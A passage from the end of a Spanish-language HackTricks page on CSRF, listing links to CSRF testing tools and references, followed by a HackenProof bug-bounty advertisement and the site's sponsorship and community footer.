[https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) * [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Referencias * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​
**HackenProof es el hogar de todas las recompensas por errores de criptografía.** **Obtén recompensas sin demoras**\ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error. **Obtén experiencia en pentesting web3**\ ¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento. **Conviértete en la leyenda del hacker web3**\ Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal. [**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks! {% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos. * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com). * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).